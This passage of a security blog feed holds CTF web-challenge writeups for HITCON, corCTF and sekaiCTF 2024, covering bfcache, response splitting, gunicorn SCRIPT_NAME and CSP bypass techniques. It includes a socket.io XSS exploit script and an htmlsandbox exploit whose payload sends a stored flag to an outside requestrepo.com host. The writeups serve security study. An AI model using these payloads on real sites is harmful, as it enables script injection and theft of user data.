punctuation">,</span> socket_session<span class="token punctuation">)</span>    res <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'P3qHGUZ'</span><span class="token punctuation">,</span>        <span class="token string">'sid'</span><span class="token punctuation">:</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token string">b'40'</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    <span class="token keyword">return</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span>bot_session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>login <span class="token operator">=</span> bot_session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'name'</span><span class="token punctuation">:</span> <span class="token string">'FizzBuzz101'</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_codesio <span class="token operator">=</span> socketio<span class="token punctuation">.</span>Client<span class="token punctuation">(</span>http_session<span class="token operator">=</span>bot_session<span class="token punctuation">)</span>ready <span class="token operator">=</span> <span class="token boolean">False</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'connected!'</span><span class="token punctuation">)</span>    <span class="token comment"># fake disconnect event so that the bot can connect as well</span>    sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'disconnect'</span><span class="token punctuation">)</span>    time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    ready <span class="token operator">=</span> <span class="token boolean">True</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'ready for bot!'</span><span class="token punctuation">)</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">message</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">if</span> <span class="token keyword">not</span> ready<span class="token punctuation">:</span>        <span class="token keyword">return</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span>    <span class="token keyword">if</span> data<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'FizzBuzz101 joined.'</span><span class="token punctuation">:</span> <span class="token comment"># XSS bot opened the chat</span>        first_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.exfil = data => window.top.opener.top.socket.emit('message', data))(window.observer = new parent.PerformanceObserver((list) => &#123; list.getEntries().forEach((entry) => &#123; window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); &#125;); &#125;))(window.observer.observe(&#123; type: 'resource', buffered: true &#125;))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        second_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        jsonp_url <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/?EIO=4&amp;transport=polling&amp;t=bingus&amp;sid=</span><span class="token interpolation"><span class="token punctuation">&#123;</span>second_sid<span class="token punctuation">&#125;</span></span><span class="token string">&amp;j=0'</span></span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.secret=window.open('','secret'))(window.a=window.top.document.getElementById('xss').cloneNode())(window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))(window.secret.document.body.appendChild(window.a))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token punctuation">(</span>second_sid<span class="token punctuation">,</span> first_sid<span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        xss_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;script src=&amp;quot;%s&amp;quot;>&lt;/script>"""</span> <span class="token operator">%</span> jsonp_url        chat_message <span class="token operator">=</span> <span class="token string">'&lt;iframe id="xss" srcdoc="%s">&lt;/iframe>'</span> <span class="token operator">%</span> xss_payload<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>chat_message<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">400</span><span class="token punctuation">,</span> <span class="token string">'chat message too long, time to write better payload'</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> chat_message<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>base_url<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>wait<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="webx2frepayment-pal-0-solve">web&#x2F;repayment-pal - 0 solve</span></h3><p>Author: strellic</p><p>跟 Next.js 有關的題目，賽中沒有人解開，賽後也沒有公佈解法。</p><p>底下是公佈過的提示：</p><ol><li>+24 hour hint drop: hm, why is dev mode enabled?</li><li>+36 hour hint drop: try to find a way to get html injection!</li><li>Post-CTF hint drop: An earlier version of the challenge had an extra check in the middleware, requiring all API requests to have the header Sec-Fetch-Dest: empty</li></ol><h2><span id="sekaictf-2024">sekaiCTF 2024</span></h2><h3><span id="htmlsandbox-4-solves">htmlsandbox (4 solves)</span></h3><p>Author: arxenix</p><p>題目連結：<a href="https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox">https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox</a></p><p>這題可以讓你上傳 HTML，但是把能擋的全部都擋掉了，並且會檢查 head 裡面有沒有：<code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &#39;none&#39;&quot;&gt;</code>，來確保不能執行 JavaScript 程式碼。</p><p>而解法是檢查的時候是把 HTML 變成 <code>data:text/html</code> 來檢查，但實際造訪的時候就是一般的網頁，而這兩者的 parsing 規則不一樣，當檔案很大的時候，前者會全部一次 parsing，但後者會一個 chunk 一個 chunk 做，而且每個 chunk 的 encoding 可以不同。</p><p>細節可以看作者的 writeup：<a href="https://blog.ankursundara.com/htmlsandbox-writeup/">SekaiCTF’24 htmlsandbox - Author Writeup</a> 或是這篇 <a href="https://0xalessandro.github.io/posts/sekai/">0xalessandro 的 writeup</a>，他最後的 exploit 長這樣：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token comment">#0xAlessandro was here</span>c1 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''&lt;html>&lt;head>    &lt;!-- \x1b$@ aa -->'''</span> <span class="token operator">+</span> <span class="token triple-quoted-string string">b'''&lt;meta http-equiv="Content-Security-Policy" content="default-src 'none'">\x1b(B &lt;!-- test -->'''</span> <span class="token operator">+</span> <span class="token string">b"\x1b(B&lt;!-- "</span> <span class="token operator">+</span> <span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">64000</span> <span class="token operator">+</span> <span class="token string">b"-->"</span><span class="token operator">+</span> <span class="token string">b"&lt;!--"</span><span class="token operator">+</span><span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">100</span><span class="token operator">+</span><span class="token string">b"-->"</span>c2 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''    &lt;meta charset="utf-8">    &lt;/head>    &lt;body>    &lt;svg>&lt;animate onbegin="fetch(`https://s9cs3dwb.requestrepo.com?c=$&#123;localStorage.getItem('flag')&#125;`)" attributeName="x" dur="1s">    &lt;/body>&lt;/html>'''</span>html <span class="token operator">=</span> c1 <span class="token operator">+</span> c2<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'test.html'</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>   f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>html<span class="token punctuation">)</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string">'https://htmlsandbox.chals.sekai.team/upload'</span><span class="token punctuation">,</span> data<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'html'</span><span class="token punctuation">:</span> html<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在使用 data URI 的時候，整個 HTML 就是被當作 utf-8 來解析，沒什麼問題。</p><p>但被當作網頁來造訪的時候，由於分成了兩個 chunk，而 <code>&lt;meta charset=&quot;utf-8&quot;&gt;</code> 出現在第二個 chunk，因此第一個 chunk 會用 <code>JIS X 0208 1983</code> 來解析，CSP 就變成了一堆亂碼，被拿掉了。</p><p>讀到第二個 chunk 時看到 meta，就切換成 UTF-8，照常載入，如此一來就可以擺脫 CSP，達成 XSS。</p><p>這個 encoding 利用的細節可以參考：<a href="https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/">Encoding Differentials: Why Charset Matters</a>。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;久違的筆記，想寫很久了但一直拖延，像是 CTF 這種東西的 writeup 其實速度滿重要的，因為賽後討論大部分都在 Discord 裡面發生，時間久了訊息比較難找，而且很有可能忘記，要趕快寫成 writeup 才能把那些實用的資訊記錄下來。&lt;/p&gt;
&lt;p&gt;這篇一次帶來三個 CTF 的 writeup，有些我沒有打，只是純粹看著別人的筆記重新記一遍而已。&lt;/p&gt;
&lt;p&gt;關鍵字列表：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;bfcache&lt;/li&gt;
&lt;li&gt;response splitting&lt;/li&gt;
&lt;li&gt;Service-Worker-Allowed&lt;/li&gt;
&lt;li&gt;gunicorn script_name&lt;/li&gt;
&lt;li&gt;socket.io disconnect&lt;/li&gt;
&lt;li&gt;socket.io JSONP CSP bypass&lt;/li&gt;
&lt;li&gt;performance API&lt;/li&gt;
&lt;li&gt;streaming HTML parsing &lt;/li&gt;
&lt;li&gt;content-type ISO-2022-JP&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>HITCON CTF &amp; corCTF &amp; sekaiCTF 2024 Writeup</title>
    <link href="https://blog.huli.tw/2024/09/23/en/hitconctf-corctf-sekaictf-2024-writeup/"/>
    <id>https://blog.huli.tw/2024/09/23/en/hitconctf-corctf-sekaictf-2024-writeup/</id>
    <published>2024-09-23T02:40:00.000Z</published>
    <updated>2024-09-23T09:23:18.060Z</updated>
    
    <content type="html"><![CDATA[<p>It’s been a while since I wrote writeup. I’ve wanted to write for a long time but kept procrastinating. For something like CTF writeups, speed is quite important because most discussions happen in Discord after the competition. Over time, it’s harder to find information, and it’s very likely to forget, so I need to quickly write a writeup to record those useful pieces of information.</p><p>This article brings together writeups for three CTFs. Some I didn’t play myself; I just looked at others’ writeups and take a note of them.</p><p>Keyword list:</p><ol><li>bfcache</li><li>response splitting</li><li>Service-Worker-Allowed</li><li>gunicorn script_name</li><li>socket.io disconnect</li><li>socket.io JSONP CSP bypass</li><li>performance API</li><li>streaming HTML parsing </li><li>content-type ISO-2022-JP</li></ol><span id="more"></span><h2><span id="hitcon-ctf-2024">HITCON CTF 2024</span></h2><h3><span id="private-browsing">Private Browsing+</span></h3><p>This challenge is basically a proxy that proxies things under <code>/~huli/</code> to other websites, and the response varies based on the header:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token string">'navigate'</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-site'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'same-origin'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    req<span class="token punctuation">.</span>url <span class="token operator">=</span> chunks<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span>    proxy<span class="token punctuation">.</span><span class="token function">handler</span><span class="token punctuation">(</span>req<span class="token punctuation">,</span> res<span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">writeHead</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token operator">...</span><span class="token constant">DEFAULT_HEADERS</span><span class="token punctuation">,</span> <span class="token string-property property">'content-type'</span><span class="token operator">:</span> <span class="token string">'text/html'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token constant">VIEWER_HTML</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">'SITEB64'</span><span class="token punctuation">,</span> <span class="token function">btoa</span><span class="token punctuation">(</span>proxy<span class="token punctuation">.</span>site<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If it’s a navigation, it will return VIEWER_HTML, which will perform various sanitizations, so XSS is not possible.</p><p>The bypass method is to use bfcache. It appeared in <a href="https://blog.huli.tw/2022/12/08/ctf-js-notes/#seccon-ctf-2022-quals-spanote">SECCON CTF 2022 Quals - spanote</a>. In simple terms, we first visit target.html, at which point the response will be VIEWER_HTML, and within VIEWER_HTML, <code>fetch(&#39;target.html&#39;)</code> will be executed to fetch the content, and at this time the response will be placed in the cache.</p><p>Next, we redirect the same tab to our own origin, then execute <code>history.go(-1)</code> to redirect the URL back to <code>target.html</code>. At this point, due to bfcache, it will load the HTML fetched by <code>fetch(&#39;target.html&#39;)</code>, bypassing the original restrictions and allowing any HTML to be loaded.</p><p>But the next issue is CSP: <code>default-src &#39;self&#39;;</code>, so scripts can only load from the same origin, but the proxy has restrictions:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-type'</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token operator">||</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-dest'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-length'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'0'</span>    <span class="token keyword">delete</span> res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'transfer-encoding'</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If the content type includes script, it directly sets the content-length to 0, so scripts cannot be loaded.</p><p>At this point, we need to use response splitting because the proxy will directly pipe the received response out, so we can construct the following flow:</p><ol><li>The browser sends the first request, let’s call it request A.</li><li>In the response of request A, first output the <code>expect: &#39;100-continue&#39;</code> header, allowing the proxy server to output the header. At this point, for the browser, the first request has ended, and it has received the response.</li><li>The browser sends the second request B, reusing the same connection.</li><li>At this point, output the response of request B (but for the proxy, it is still the response of request A), bypassing the content type restriction because the proxy thinks this is response content.</li></ol><p>In simple terms, it’s similar to request smuggling, but done in reverse.</p><p>There are two details here:</p><ol><li>Through Chrome, there is a limit of 6 concurrent requests to the same domain, ensuring that two of the requests will use the same connection.</li><li>The Node.js server, upon receiving <code>Expect: 100-continue</code>, will flush first. This step is necessary to bypass Chrome’s restrictions.</li></ol><p>Once JS can be loaded, we can use the same method to load the service worker and use the <code>Service-Worker-Allowed: /</code> header to expand the scope, allowing registration to the entire origin.</p><p>More details can be found in Maple’s writeup: <a href="https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B">https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B</a></p><h2><span id="corctf-2024">corCTF 2024</span></h2><h3><span id="webx2fcorctf-challenge-dev-17-solves">web&#x2F;corctf-challenge-dev - 17 solves</span></h3><p>Author: drakon</p><p>A challenge related to Chrome extensions, but the author has already written it in detail, so I won’t elaborate: <a href="https://cor.team/posts/corctf-2024-corctf-challenge-dev/">corCTF 2024 - corctf-challenge-dev</a></p><h3><span id="webx2fiframe-note-2-solves">web&#x2F;iframe-note - 2 solves</span></h3><p>Author: sterllic</p><p>The core code of this challenge is the following segment:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>iframe<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='axios.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='can.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"__proto__"</span><span class="token punctuation">,</span> <span class="token string">"constructor"</span><span class="token punctuation">,</span> <span class="token string">"prototype"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token parameter">d</span> <span class="token operator">=></span> location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> qs <span class="token operator">=</span> can<span class="token punctuation">.</span><span class="token function">deparam</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no id provided"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      location<span class="token punctuation">.</span>href <span class="token operator">=</span> <span class="token string">"/"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    axios<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/iframe/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">res</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no iframe found with that id!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"invalid url"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>textContent <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>name<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>src <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>style <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>style<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The backend uses Flask + gunicorn to render the above webpage.</p><p>There is a prototype pollution vulnerability in can.js, and even with checks in place, it can still be bypassed using URL encoding. However, the question is what can be done after the pollution occurs.</p><p>At first glance, the most suspicious part in the frontend is <code>document.querySelector(&quot;#iframe&quot;).src = res.data.url</code>, but here we need to control the server’s response. However, the server has checks in place, so data.url can only start with http.</p><p>The final solution is related to the behavior of axios, bfcache, and gunicorn. Gunicorn determines the final path based on the <code>script_name</code> in the header. According to the example given in <a href="https://github.com/benoitc/gunicorn/issues/2650">Gunicorn’s handling of PATH_INFO and SCRIPT_NAME can lead to security issues when placed behind a proxy #2650</a>:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>URL<span class="token operator">+</span><span class="token string">'/REMOVED/admin/something/bad'</span><span class="token punctuation">,</span>             headers<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'script_name'</span><span class="token punctuation">:</span><span class="token string">'REMOVED/'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If there is an nginx in front that blocks all requests starting with &#x2F;admin, we can send a request to &#x2F;REMOVED&#x2F;admin along with script_name as REMOVED&#x2F;. Nginx will allow it, but when it reaches gunicorn, it will parse the path as &#x2F;admin, directly bypassing the previous nginx check.</p><p>The part of this challenge that utilizes this behavior is:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='axios.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you execute <code>curl https://iframe-note.be.ax////example.com/view -H &quot;SCRIPT_NAME: //example.com&quot;</code>, the final path will be &#x2F;view, but the base URL will change, rendering the result as:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span 